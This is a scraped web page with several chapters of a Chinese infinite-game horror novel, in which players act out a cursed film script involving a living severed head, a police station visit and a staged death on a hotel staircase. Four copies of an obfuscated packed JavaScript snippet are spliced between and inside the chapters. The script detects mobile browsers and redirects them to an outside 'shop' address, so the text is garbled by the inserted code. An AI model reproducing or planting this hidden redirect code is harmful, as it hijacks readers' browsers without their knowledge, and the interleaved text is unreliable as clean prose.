d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445845|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >肖羽好奇地用手指轻抚过巨镰的刃尖,感觉到的是一种未开锋的钝感,而且那奇怪的材质并不像是金属,反而更像是木头的质感。 而那个被他提在手中的人头,在看到这些巨镰后,牙齿开始不由自主地打颤,发出的‘咯咯咯’声响在静默的空气中异常清晰,引起了所有人的注意。” 肖羽提起人头,故意让它对着巨镰,饶有兴趣地说:“这头颅还怕镰刀呢?” 其他人也纷纷摸了摸巨镰,感受到这怪异的手感。叶柯看着人头脖颈断截面,问:“会不会它的头是被这个镰刀给砍的呀?” 闻言,陈长风也从摄影机后面冒出头:“难道是这些cos死神的鬼砍下尸体头颅,放到雕像手里,等我们来到广场后,待得越久触发的鬼东西越多,所以一直到激活斗篷鬼,出来跟我们……不是,跟他们两人干架?剧本里可没有提到雕像和斗篷鬼的事,又是多出来的情节。” ”你字多,我觉得你说得对。“夏黎懒得思考,反正等着抄作业就对了。 谢沫沫站在一旁撇嘴道:“也不算没提到吧,剧本里有写人影把我们引开打晕的一幕。” 知道缺氧的人目前不宜移动,宋承向其他人简短说明情况后,决定在原地稍作停留休息。雕像底下的玩家们围在一起,以巨镰和人头为中心,展开各种分析。 雕像上空的光线昏暗,楚昭依靠着下方手电筒投射上来的微弱光芒,凭借着他出色的夜视能力,迅速锁定了坐在地上的“女朋友”。 “受伤了?”楚昭走到纪然身边,单膝蹲下检查了一下她身上沾有血迹的地方。 “没受伤,只有……有点缺氧……等我缓缓。”纪然双手撑在腰后两侧的石面上,气息不稳,闭着眼睛努力调整呼吸,缓解着自己的缺氧状态。 见她身体不舒服,楚昭从背包里取出一瓶水,拧开瓶盖后喂到她嘴边:“喝点水,慢点喝。” 纪然本想接过水,睁开眼后就看到自己满手的血,索性就着他的动作喝。喝一口深呼吸几下,又喝一口。清凉的水流顺着喉咙流进身体,缓解了部分难受。 她又让楚昭倒了点水在纸巾上,擦了擦手上的血迹,她抬头问道:“我脸上有吗?” 之前为了行动方便,纪然把手机收了起来,现在她重新拿出所剩电量不多的手机,打开手电筒功能,将其放置在一旁以提供光源,以便让他看清她的脸。 楚昭微微颔首,抽出新的纸巾,沾了水后递给她。见她在自己脸上随意擦拭了几下,迟迟没擦到血迹所在,甚至在他指出来后,纸巾虽然触碰到了那些地方,却没擦干净。 楚昭忍不住皱眉,看着那几处擦完后反而晕开的血迹,在她脸上更显突兀。他感觉自己的手指蠢蠢欲动,内心生出一种强迫症才有的别扭感。 恰在此时,纪然注意到他的表情,试探性地问道:“我是不是没擦干净?” 楚昭坦诚地点了点头,回应了一个简单的“嗯”。 “那你能帮我擦一下吗?”纪然问完后,又想到自己的角色关系,语气软了下来,补上一句不太确定的几个字,“男朋友?” 纪然本以为楚昭会拒绝,毕竟这人似乎挺抗拒一些剧情外的亲密接触,但考虑到角色,她将已经到了嘴边的“要不还是我自己来吧”这句话又咽了回去,决定留给他自己做出选择。 听到询问,楚昭本来就打算伸出去的手僵在半空。 纪然:? 94.雕像与人头(四) 楚昭侧目观察她,见她欲言又止的,眼里还露着些许犹豫与防备,似乎也没想着真的让他给她擦脸。他心里清楚她接下来肯定要说些算了之类的话,结果左等右等,这人还是没开口。 沉默中,两人你看我我看你的,气氛一时间有些尴尬地僵住了。 在等待中楚昭逐渐意识到她不会主动开口,于是他轻轻地叹了口气,带着一丝无奈。再次抽出几张纸巾沾了水,然后俯身靠近,硬着头皮碰到她的脸。 感受到脸上传来的擦拭感,纪然瞅了他几眼,看不出什么情绪,在演戏阶段,他好像就没多少表情,不过他应该也是不情不愿的吧。 楚昭从未给年轻女孩擦过脸,接触过最近距离的人除了死在他手里的,就是即将要死在他手里的。弱肉强食的世界,除了打架厮杀,哪里还需要其他,总会有人在等着他死去。 只是他怎么也没想到,闯了那么多副本,结果在这个低级本里被规则绑定了个“女朋友”,还很大胆地时不时搞一些令人猝不及防的行为。 楚昭没吃过猪肉,好歹见过猪跑,历经这么多个世界,懂得也不少。只不过在这样细致的擦脸动作上,他的动作显得有些笨拙,手上力道不自觉地失了分寸。 而纪然在解决雕像的紧张局势后,身体放松下来,耐痛阈值也随之降低。 当她感觉到脸上突如其来的疼痛时,不禁倒吸了一口凉气,“嘶”了一声。发觉脸上的痛感有些奇怪,她眨了眨眼睛问道:“我没破相吧?” 看着那些原本只是轻微擦伤的地方,在自己的触碰下竟然缓缓渗出了细长的血丝,楚昭手上的动作就顿住了。 他应该没有用力吧? 怎么她的皮肤这么脆弱? 身为伤害对方脸蛋的罪魁祸首,他紧抿着嘴唇,眼神中透露出几分无措与心虚。 察觉到他突然停住动作,纪然仰头看着他问道:“擦好了?” “没有。”他避开视线,回答得很快,让人无从得知他回复的是哪一个问题。 楚昭压下眼底的情绪,有意识地放轻了手上的动作,抽出干净的纸巾轻轻擦掉渗出来的丝血,装作无事发生。 此时沾了水的纸巾擦到她的眼睛边缘处,也不知道怎么蹭上去的,离眼睛特别近。或许是因为光线不足,或许是出于不想戳到她眼睛,当擦到她下眼睑附近的皮肤时,他不由自主地靠得更近了一些。 在手机手电筒发出的不算明亮的光线下,在她闭上眼后,楚昭这才第一次如此完整地看清她的脸,甚至能清晰地注意到了她脸上细微的绒毛。 一整天的相处,他好像从没仔细看过她的长相。即便在大巴车狭窄的空间里,宾馆卫生间里的剑拔弩张时,他们之间的距离也曾如此之近,但他却从未像现在这般认真看过她。 只不过一个刚接触无限游戏不久的新人而已,他见过很多这样的新人。在这个以生命为筹码的游戏里,像她这般外表出众且头脑灵活的人比比皆是,但这跟他又有什么关系? 一般人于他,就像是两条永不相交的平行线,外貌实力与成就,皆跟他毫无交集;而另一种人于他,是两条只有一个公共点的直线相交线,那是利益的交汇点,之后他们便如同射线般,向相反方向无限延伸,渐行渐远。 智慧生命本质上就是个体的存在。对于大脑和身体来说,生命的起始是独自一人的降临,生命的终结也是独自一人的离去。 他能存活至今,爬到众人仰望的高位,不仅仅是依靠实力,更因为他始终奉行着利益至上的原则。没有永远的敌人,只有永远的利益。 像现在这样,利益让他与这些新人合作,各自发挥自己该有的价值,把人性的复杂转换成协同的力量,令原本难以捉摸的各种人际关系变得目标明确,让一切问题简单化。 只是,这个合作对象确实能给人带来意外惊喜,无论是跟她走一起的那些所谓朋友,还是她自身的头脑,已经能看到她的未来绝不止步于此。只要能活着渡过前期,或许他们还能维持一段长久的合作关系。 那么,他在未来合作伙伴还是新人时,稍微刷一下好感也很正常吧? 这个距离太近了,纪然不由得眯起眼睛,仰头后撤以躲避对方的逼近。他怎么不像是被迫的啊? 这个动作不经意间打破了楚昭的沉思。 他伸出另一只手,忽略掉那一点点微不足道的违和感,按住她的后脑勺再次拉近距离:“别动,小心戳到你眼睛。” 感受到眼睛边缘的擦拭感,她条件反射性闭上眼,睫毛颤了颤,又听到他的声音:“没破相,只是一点擦伤,我们行李箱里有药。” “问题不大。”纪然倒没多在意脸,这种情况下能完好无损地活下来就很好了,和平时代才看重脸,要命游戏里只看中生存能力。 说话时还好,但这说完后两人间又陷入了沉默。足够近的距离能让人清晰地感知到对方的呼吸,比起脸,她感觉这个他们的动作更令人有种后知后觉的尴尬氛围。 闭上眼睛会增强其他感官的敏感度,于是她睁开没被碰到的另一只眼,映入眼帘的便是他轮廓分明的下巴,线条坚定而有力。 她的目光不由自主地沿着他紧闭的唇瓣向上移动,掠过他那直挺的鼻子,最后与他漆黑深邃的眼睛对上。 楚昭手上的动作一顿:“怎么了?”又弄痛她了? “没什么,”纪然就睁开眼随便看看透透气,被他这么一问,也不知道说什么,想起这一天下来他虽然存在感不高,却也帮了不少忙,“今天发生的……很谢谢你。” 楚昭看着她一脸真挚的模样,移开了与人对上的视线,轻轻“嗯”了一声。 两人间又陷入了安静,他也察觉气氛有些怪异,补了一句:“不用客气。” 飞快擦完最后的血迹后,楚昭又仔细看了看那处擦伤,除了略有些红肿外,已经没有渗血了。 “好了。”他松开手,退回到安全社交距离。 纪然睁开眼,呼出一口气,可算擦完了。 感觉自己也恢复得差不多了,便站起身,拍了拍身上的灰,把即将自动关机的手机往口袋里一塞,说:“我也好多了,我们下去吧。” “头还晕吗?我抱你下去?”楚昭收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483924|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾了下背包,跟着站起身,扫视了一眼雕像身上几处能落脚的位置,主动问道。 纪然看了眼距离地面快两层楼的高度。这抱着怎么下去?直接跳吗? “不用了吧……”话说一半,她感觉自己有挺长时间没刷“小作精”人设了,话音一转,娇滴滴道,“人家要你抱着下去。” 管他的,难题抛出去就对了。 楚昭:“……” 如果她不以这种诡异口吻说话的话,还是个很不错的合作伙伴。 虽然纪然感觉他们在雕像上待了很久,实际上从楚昭上去再到抱着她下来,也没花多长时间。 待纪然落地站稳后,第一小队的几人便围过来。 叶柯挤开一旁的楚昭,一脸关切地问她:“怎么样了?你没事吧?” 纪然摇头:“我没事。” 环顾四周,纪然没发现有人受伤,便几句话解释之前她的发现,又继续说道:“从发现雕像是靠我们呼吸来确定目标后,我就用人头的血糊在它的鼻子上,现在雕像解决了,广场上的剧情应该都触发完了吧?” 原本的剧本剧情简要是:人群发生争执,人头流血,血手抓人,众人分头行动,人影出现,众人被打晕。 现在除了血手和被打晕的剧情外,其他的四舍五入也算完成了。不过,剧本里的血手是出现在人头之后,而他们在知道后续情节时,把血手扼杀在摇篮里,导致雕像异变,也能对应上了。 至于被打晕这一段,或许在他们全员无伤且解决掉人头、雕像、斗篷鬼之后,晕不晕都算结束了吧? “试试能不能离开广场就知道了,”肖羽甩了甩手上提着的人头,见它闭着眼装死,有些迟疑地问道,“我们该不会真的要提着人头去警局自首吧?” 接下来的情节是他们前往警局报案,向警方描述了他们遭遇的离奇人头事件,并表达了他们的怀疑:下午送去尸检的尸体可能被盗,并且遭到了肢解。 警方起初对此持怀疑态度,但在派出警员前往法医室检查尸体冰柜后,发现尸体完好无损地躺在那里,警方认为他们在无事生非,于是对他们进行了一番批评教育,赶他们回去。 被赶出来的几人有些摸不着头脑,见警方态度不似作假,于是开始怀疑这一切可能只是一场精心策划的恶作剧。带着满腹疑问,他们返回了广场。 而那些原本在广场上等待的同伴们,在去警局的几人离开后,剩下的人不知不觉中被人影分批引走,并被打晕。直到其他人回来,他们才逐渐苏醒过来。 当大家聚在一起,他们惊异地发现原本在雕像手中的人头不见了,仿佛从未出现过一般,让他们更加确信了这是一场恶作剧。 策划者可能是他们中的某个人,也可能是镇上的某个居民,但真相究竟如何,他们暂且无从得知。 这是比较正常的一段悬疑剧情,也许这段情节跟警方有关联,经过剧本改编后的情节与剧中剧也相差无几,并未涉及任何额外的灵异事件,比如诈尸什么的。 看起来,他们只用按剧中剧的内容走一遍剧情,似乎没什么难度。 95.被警察赶走 一群人开始往警局的方向而去,若是路上没有遇到任何阻拦,就证实了广场上这一幕剧情已经结束了。 纪然在落地后便盯上了他们手里的三把巨镰,视线几次扫过。 叶柯挽着她的手臂,边走边小声交谈着日常向的话题,如同朋友间普通的聊天。见她瞥向巨镰的眼神里带着好奇之色,叶柯了然。 “这个东西的材质蛮奇怪的,我们刚才研究半天都没发现有什么用处,不过款式很帅,拿来玩玩也不错。”叶柯扭头对肖羽使了个眼神,肖羽配合地把手中巨镰递过去。 尽管叶柯能够扮演甜美的角色,但说话的语气里总是不自觉地流露出一丝温柔,缺乏那种活力四射的感觉。叶柯毫无芥蒂地拉过谢沫沫,三人就像校园里随处可见的亲密女生一样,手挽手凑在一起。 还有右手能活动的纪然接过巨镰,微寒的冷质感从掌心里传来,整个长柄拿在手里轻飘飘的。从外表上看起来是把真实武器,实际上手后感觉仅是件玩具道具罢了。 不过,之前她有看到楚昭用它砍了一只斗篷鬼,想来它的作用也不小,也许这奇特的材质代表着它不是用来物理攻击,而是魔法攻击? 当然,不是指真的能释放出魔法,而是指这把巨镰能伤害到鬼魂。说抢就抢,实属于没想到。 要真是这样,后面他们面对鬼怪将更有一战之力。 广场连同周围街道全是一片漆黑,仅靠一行人所剩无几的手机电量开手电打光。万幸的是,走完警局的剧情,他们就可以回宾馆暂时休息了。 整条街万籁俱寂,黑暗犹如巨大的影子,覆盖了天空与大地。杂乱的脚步声与交谈声打破了夜的静谧,为这片地方增添了几分鲜活的人气。 警局离广场不算远,一路上并未碰到阻碍,一群人顺畅地来到这附近唯一一处有灯光的警局门口。 目光在大门之上巨大的“公安”二字上滑过,落到玻璃门内亮着白炽灯的大厅。怕影响不好,他们还把巨镰放在站门口看不到的地方,提着人头就走过去了。 此时时间还不算晚,还未到晚上九点,没有夜生活的慢节奏小镇上,连晚上的警局大厅里都只有两个值班人员,一个个子要高一些,一个身材要瘦一些。 来到这里,宋承就跟回自己家一样自在。他直接大大方方地走进去,与两名值班警察交涉,说明来意,和报案。 两名小警察没经历过这场面,在看见一群身上沾血的人时,当场就傻了眼。他们视线在众人间挨个扫过去,呼吸时闻到的血腥味不似作假。 瘦一些的警察顿时语气充满了难以置信:“你们身上怎么回事?” “说来复杂,我长话短说。下午发现的尸体是我们报的案,现在我们碰到了新情况。就在刚刚,我们在广场雕像手里看到那具尸体的头颅,所以我们怀疑尸体可能被人偷窃分尸了。”宋承上来几句话,直接给警察炸愣神了。 肖羽提着人头走近,冲着他们抬起手。 这两位年纪不大的警察这才看到这群人手里血淋淋的东西,估计他们是第一次遇到这种情况,看向人头的眼神直接就直了,说话也结巴起来。 “这……你、你们……不是,你们手里拿的什么!”高个子警察整个人都懵了,见眼前人头跟他的距离缩近,忍不住后退一步,瞪大了眼睛。 瘦警察也傻了眼,被拉着一起退后,用一种看怪物的眼神看向玩家们。他们倒是想把这群大胆的人先制服住,询问清楚,但对方人数是他们的几倍,一个闹不好很容易引起冲突。 高警察偷偷冲同伴打了个手势,瘦警察微不可见地点头,借着阻挡摸出手机背过手暗中联系其他人。 “如你们所见,这是颗人头。”宋承淡定道,当做没看到他们的小动作,丝毫不担心他们一行人会被当成嫌疑人。 “别怕,它没死呢,你看,它还会动,”见两名小警察脸色有些发白,肖羽甩了甩手中会眨眼睛的人头,微笑安慰道,“这就是我们在广场发现的人头,跟下午那具尸体的头长得一模一样,你们警局存放的尸体是不是被偷了?” 话音刚落,人头配合地在肖羽手中挣动两下,见挣脱不开,它脸上也露出微笑。 面对冲着他们微笑的一人一人头,高警察感觉自己更害怕了,他努力壮着胆子,稳住自己:“等等等等——为什么人头还活着?不不不对,你们是来报案是吧?下午尸体事件由何队长负责,正好他还没回去,你们在这等一下。” 见这一群人表现得很是配合,他跟瘦警察对视一眼,又暗搓搓退后了几步,当着面掏出手机打了个电话。两人一边警惕地盯着这一群人,一边对着手机小声说着什么,时不时瞥一眼人头。 待挂上电话,瘦警察故作镇定地说:“何队长马上就到,你们……坐一会儿?” 这两个人似乎完全没有看到玩家手中的两台摄像机,他们的目光从未在这些设备上停留过。 何济队长来得很快,几乎在他们挂断电话后的一分钟内就赶到了大厅。 “果然是你们,”他面带严肃,目光如炬,扫了一眼这群眼熟的人,便把注意力锁定在人头上,“确实与下午的尸体如出一辙。” 何济戴上手套接过那颗头颅,经过一番仔细的检查,确认其为真实的血肉之躯,随即,他指挥两名小警察前来拍照留证。 之后他退到一旁角落里,掏出手机打了个电话,不知道与那头说了些什么。 当他再次转身面对众人时,眼神中弥漫着一股不容忽视的威压,缓缓地扫视过每一个人:“尸体的真实身份我们仍在调查中,但可以肯定的是,法医室里的尸体安然无恙,未有分毫损伤,更不存在任何关于头颅失踪的迹象。而这颗人头,交由我们警方全权处理。你们要是没其他事,就早点回去休息吧。” 这一番话犹如石破天惊,令玩家们面面相觑,心中满是困惑。 即便这颗人头与尸体没关系,怎么说也是一颗血淋淋还活着的人头,他都不意外吗?何况这张脸与下午尸体长得一模一样,如果不是同一个人,也至少是尸体的双胞胎兄弟。他们作为两次发现“尸体”的关键人,这次居然这么轻易就放他们走掉? 太可疑了。 面对他们那明显带着怀疑与不信的眼神,何济轻触手机屏幕,将新收到的几张照片与一段几秒的视频展示在众人眼前。 也许是为了不让他们看得太清楚,照片像素有点糊,但即便如此,仍能辨认出那张面孔正是下午那具冰冷尸体的面容,与何济手中的人头如出一辙,毫无二致。尸体大部分被白布覆盖,但清晰可见的是,头颅与脖颈之间没有丝毫缝隙。 视频边缘有显示拍摄时间的水印,就在一分钟前,差不多是在何济打完电话后拍摄的。 毋庸置疑,那具尸体还躺在法医室里。 虽然非常离谱,超乎常理,但玩家们心中却已信了几分。不过,出于剧本的需要,他们仍旧维持着一副怀疑的表情。 “这么糊会不会是假的?” “我们能不能去看一眼尸体?” “为什么这颗人头与尸体长得一样,还会动?” 在玩家们的闹腾下,何济不得不派手下的一名警员前去法医室探查。 待这名警员返回,确认尸体无异常后,何济果断地挥挥手,以一种不容置疑的语气,将这群喧闹的玩家们请出了警局大厅。 站在门外,人头被没收了,他们人还被批评教育了一顿。 他们装作气愤又莫名的样子,吵吵闹闹地走远。 “居然真的就这么顺利?”谢沫沫难以置信,看了看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539033|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩家们,又回头看了看远处亮着灯的警局。 “显而易见,就是这么顺利。顺利点才好啊,我不想再跑来跑去了,对我眼睛和心脏不好。”送走人头后,精神紧绷的夏黎总算放松了下来,语气都带着些倦意。 确实,他们已经奔波一天了。 什么魔鬼旅行团,特种兵式旅游。 她为了减肥去锻炼都没这么累,这谁顶得住啊! 身体累是一方面,主要还是精神累,虽然她还不是这群人里面需要动脑的那个。再看看旁边这群人,好几个脸不红气不喘的,眼里没半分疲态,这批玩家的身体素质竟恐怖如斯! 夏黎蔫了吧唧地走着,感觉摄影机要压垮她伟大的肩膀,如同压死骆驼的最后一根稻草。 “需要帮忙吗?这一段路没剧情安排了。”李新咏背着说是装满道具的背包,实际上并没有什么能拿得出来的道具。一路上所谓的“道具”全是副本的自由安排,而他的行动,抛去必走的主线外,全凭个人的即兴发挥。 作为一个被塑造成温柔体贴的角色,他在注意到同伴显露疲态时,自然而然地会礼貌询问,伸出援手。 “谢谢大师,实在是太感谢你了。”夏黎没跟他客气,毕竟这人也是她觉得“恐怖如斯”那一类人,她比不过,完全比不过。 李新咏被噎了一下,接过摄影机无奈道:“……不用喊我大师,我只是个俗人。” 肖羽听到这话,忍不住笑了起来,他转过头,眉毛一挑,带着一丝戏谑地问道:“道具师的‘师’,怎么不算‘大师’?” 每经历完一段剧情,仿佛重负卸下,玩家们之间的氛围便轻松许多,漫开一股愉悦的气息。 纪然看了眼自己的手机电量,问走在身旁的楚昭:“你带充电宝了吗?” 楚昭眼神微瞥,这一句话直接让他提高了警惕:“没有。” 结果她只是轻哼一声:“人家手机都要没电了。” 楚昭见她好像只是刷一下人设而已,瞬间绷起的神经又很快松弛回来,眼里闪过一丝无奈,配合道:“我们快回去了,等下就有电了。” 听到手机电量,宋承意识到了什么,按亮手机屏幕看了一眼。小队几人见状,纷纷查看自己的手机电量。 “你们看手机干嘛?”谢沫沫面带不解,同样看向自己手机,上面显示电量剩余5%,她直接放弃思考。 纪然回头望向在黑暗里显得渺小的白炽灯光,若有所思地说:“我觉得,警局这一段剧情这么简单,也许跟我们手机电量有关。” “什么意思?”夏黎愣了愣,发现自己的手机电量也所剩无几,没能把她话里的手机电量与警局这两码事关联起来。 凝视着夜幕下漆黑如墨的街道,叶柯的目光在不亮的路灯上停留,轻快地回答:“因为没有路灯,若是剧情发生变故,我们的手机电量告罄,没有光就拍不了电影。” “以电量显示,岂不是说在我们回宾馆前都会很安全?”钟玉珍也看了眼手机,个位数的电量让她安心不少。 作为一名年长者,身体素质始终不如这群年轻人,她这一天下来,累得够呛。能安稳走到宾馆,总比再发生什么需要跑动的变故要好。 宋承捡回那三把巨镰,态度却没这么乐观。毕竟,今天的剧本里,还有最后一段戏份,也就是在发生在宾馆里的夜间剧情。 虽然这段回去的路很安全,但今晚的剧情却暗藏杀机,将会有一幕剧情杀发生,导致一个角色“死亡”。 对于扮演此角色的玩家来说,是将面临真实的死亡,还是仅仅是一场角色的杀青,现在谁也无法给出确切的答案。 纪然不动声色地扫视过在场的每一个玩家,剧本里并没有明确写出“死亡”的人名,那么,今夜里的这个人会是谁呢? 96.还剩十一人(一) 愈发微弱的光线仍然穿透了黑夜的覆盖,摇曳不定的光束与影子交织,宛如鬼魅。 镇子里安静极了,只有他们一行人发出的动静。等回到宾馆附近时,发现程松云和剧组人员正等在宾馆门口。 程松云的脸上看不出喜怒,借着身后宾馆大厅的灯光,他的目光似鹰隼,在玩家们身上依次掠过,语气不紧不慢:“这是你们首次踏入电影拍摄的领域,虽然你们的表现还带有些许青涩,演技上还有待磨练,但从整体而言,你们已经达到了基本的要求。” 在众人以为他要开始点评时,他话音一转:“今天的拍摄到这里告一段落,明天早上吃早饭时我会发放第二天的剧本,之后我们将在九点准时开拍。我相信,以你们的记忆力,一两小时内记住剧本背下台词应该不是难事。” “至于今天剧本的最后一幕,将由你们房间内的摄影机和走廊上的监控设备来捕捉。所以晚上大家多多留意一下就好,我相信你们的专业性。”程松云说着,挥了挥手,其他剧组工作人员便纷纷散开,不一会儿,连个人影都见不着。 看起来,今晚他们并不会与玩家一起住在这个宾馆里,纪然收回视线,注意力继续放在程松云身上。 今天的戏份还有最后一段,剧情里讲述了一群人回到宾馆休息时发生的一些事。 深夜时分,他们被一些异常的声响所惊醒——像是有人在试图撬门,走廊和楼道里传来了来回的脚步声,还有物品在地上拖动的摩擦声。 那些睡眠较浅的人被这些声响吵醒,起初以为是有小偷闯入,他们想要联系宾馆的老板询问情况,却发现手机再次失去信号。 胆子小的人不敢乱动,只焦急地推醒室友,于是从一个人慌乱变成了两个人一起慌乱。 而那些胆子较大的人则怀疑是同伴的恶作剧,便悄悄打开房门,探查究竟。 夜晚的走廊里,只有安全出口指示灯散发出的莹莹绿光,几盏灯牌沿着走廊指引着通往楼梯的方向。在转角处的楼梯口,隐约可以看到一个人影。 白林便是这个胆子大的人。他与段华同住一间房,见段华没被吵醒,便自己推开门查看。瞧见人影时,他没有声张,反而在黑暗的遮掩下从门后观察。 一两分钟后,隔壁房门也悄然打开。 云初夏虽然也很害怕,但身后就是她男朋友,于是她壮着胆子探出头,飞快扫了一眼便迅速缩回脑袋,用气音说楼梯间有人。 她本想忽略这个小插曲,关上门继续休息,说不定只是宾馆老板晚上还没睡,正在搬运些什么。结果许灼提醒她,如果是老板,不会不开灯。 就在这时,楼梯间的人影似乎察觉到了走廊尽头的动静,身形微微一晃,很快就消失在楼梯口。 只是来旅游而已,白天已经累了一天,没有人愿意在这个时候惹上麻烦。许灼见人影消失,便劝着云初夏继续去休息。 隔壁的白林默不作声地关上门,仿佛什么都没发生,回到床上倒头继续睡。而之前被吵醒的叶莜竹和唐晨歌,担惊受怕了好一会儿,最终还是在疲惫的驱使下缓缓睡过去。 然而,当众人再次沉浸在睡梦中时,迷迷糊糊中被刺耳的声音吵醒,是很尖利的猫叫声,仿佛能穿透耳膜,几声之后便戛然而止。 这下所有人都醒了,纷纷打开房门,聚集在走廊里,打开走廊的灯。想到傍晚遇见的黑猫,他们怀疑有人在虐待动物,还影响到他们这些人累了一天后的休息。 泥人尚有三分火气,何况是一群年轻气盛的活人,没有起床气都憋出起床气了。 那尖锐的猫叫声似乎就在附近,他们判断猫应该还在宾馆内。一群义愤填膺的人决定要找出那个虐待动物的罪魁祸首,由于联系不上老板,他们决定亲自下楼寻找。 这座宾馆的入住率并不高,毕竟这个小镇并不以旅游业著称,鲜有外来游客,因此除了他们这群人外,宾馆的其他房间几乎都是空的。 当众人到达一楼时,发现大门从内部被锁上了,这让他们一时愣住了。 原本他们还以为晚上会有人在大厅值班——即便这只是家规模不大的宾馆,但作为镇上唯一的宾馆,不至于图省事直接晚上锁门吧? 他们在一楼没有找到宾馆老板,二楼的另外几间房间也毫无动静。他们来到三楼,一眼看去左右两边各三间房整整齐齐的,房门紧闭,敲门也无人应答,整个宾馆显得异常安静。 奇怪,他们怎么找不到老板? 这时,走廊里被打开的灯光有些闪烁,像是电路接触不良,明明灭灭的光影下,站在楼梯口的人突然失去了平衡,摔了下去。 一连串的磕碰声在楼梯间回响,众人还没来得及反应,那人已经滚落到了三楼与二楼之间的楼梯平台。 在忽明忽暗的白炽灯下,绿色荧光在墙边犹如死神的凝视,他趴在地上,四肢抽搐了几下,不再挣扎。 楼梯间突然陷入了一种令人窒息的寂静,每个人的呼吸声似乎都被放大了无数倍,心跳的加速在紧绷的神经上拉扯,几乎要断裂。 尖叫声、惊慌失措的呼喊、恐惧的低语、哭泣的啜泣声在空气中交织,有人急忙拨打急救电话,有人则冲上前去,查探他的生命气息。 兵荒马乱的喧嚣声惊醒了沉睡了宾馆,一瞬间它像是被注入了活力。走廊天花板上惨白的灯光不再闪烁,照得楼梯间亮如白昼。 毫无疑问,他们的同伴在那么短短几秒内,或者几十秒内,就在他们眼前失去了生命。 也许“意外”这个词本身就蕴含着悲剧,否则为什么仅仅只是一个简单的意外,就能如此轻易地夺走一条鲜活的生命呢? 甚至他们除了用“意外”这个词外,找不出任何能形容当前场景的词汇。纵然这只是半层楼高的楼梯而已,生命在死亡面前显得如此脆弱,无论说什么,都已苍白无力,更无从挽回。 电话打不通,大门出不去,窗前都有防盗栏,他们犹如笼中鸟,被困在这小小宾馆里。 他们挤挤凑凑,空出一间屋子,暂时把逐渐冰冷的同伴放在里面。 活着的人在等待天亮,死掉的人不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617921|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明所以,永陷黑暗。 剧中剧后面的内容无疑是一场带有恐怖色彩的悲剧,摔下楼梯竟然活不过一分钟,天王老子来了都得说一句离谱。 不过,放在这种电影里,好像也不算太过分。 经过剧本改编,前面部分的内容大差不差,在已知的人影造出来的一系列动静中,加入了部分鬼怪元素。比如在开门那一段,看见人影之前,首先与门外的鬼打了个招呼。 当然,这打招呼仅是纪然的个人表达,实际上剧本里的角色可是被吓得不轻。就连那人影,也说不准是什么鬼怪的化身,就为了制造恐怖氛围。 除此之外,剧本后半截内容里还加了一段剧组人员的戏份,丰富了剧情。 导演秦文心带着两名摄影师,深夜爬起来录制。从“演员们”在走廊集合时,便已开启了摄影机,捕捉每一个细节。随后跟着他们上上下下,时不时指点几句动作和表情,以及拍摄角度。 在众人因为灯光而感到些许害怕时,甚至出言嘲讽:“你们是演员,就要拿出你们的专业性,我花钱请你们是来享受的吗?拜托,我们拍得是恐怖片,场景不恐怖还算什么恐怖片?这么天时地利的灯光,还需要什么道具组,就差你们一个人和了。行了,别磨磨蹭蹭了,早点拍完早点休息,你们不困我还困呢。” 在她的催促下,众人硬着头皮继续演。在明知道这诡异的灯光闪烁并非出自道具师之手后,他们对走廊的每个角落都感到一种难以言说的不安。 尤其是今天一天确实见了不少灵异的东西,若说这里没问题,他们还真不信。 直到在恐慌中,站在楼梯口的演员突然后退一步,身体骤然失重,往楼梯下坠落翻滚。 其实这一幕本该由道具人模来模拟的,演员只需做出后摔的动作,剩余的交给后期处理。不过秦文心为了追求更加逼真的效果,这里的摔下楼梯是要求真摔,她承诺会给予执行这一动作的演员相应的补偿,并承担所有可能的医疗费用。 毕竟就十几级台阶,真能摔死人才搞笑。虽然会受伤,但是钱给的够多,总有胆子大的愿意接。 所以面对这一幕,,两名摄影师毫不犹豫地齐齐将镜头对准了那名演员,精准地捕捉到了他摔下楼梯的整个过程。甚至拉近镜头,还能清晰地看见这名演员脸上恰到好处的惊讶与慌乱。 秦文心见此满意地点点头,站在后方夸赞他对角色心理的把握非常准确,演技提升得很快,身体痉挛和四肢抽搐的表现都非常生动,完美地呈现了她所追求的那种因意外而突然死亡的戏剧效果。 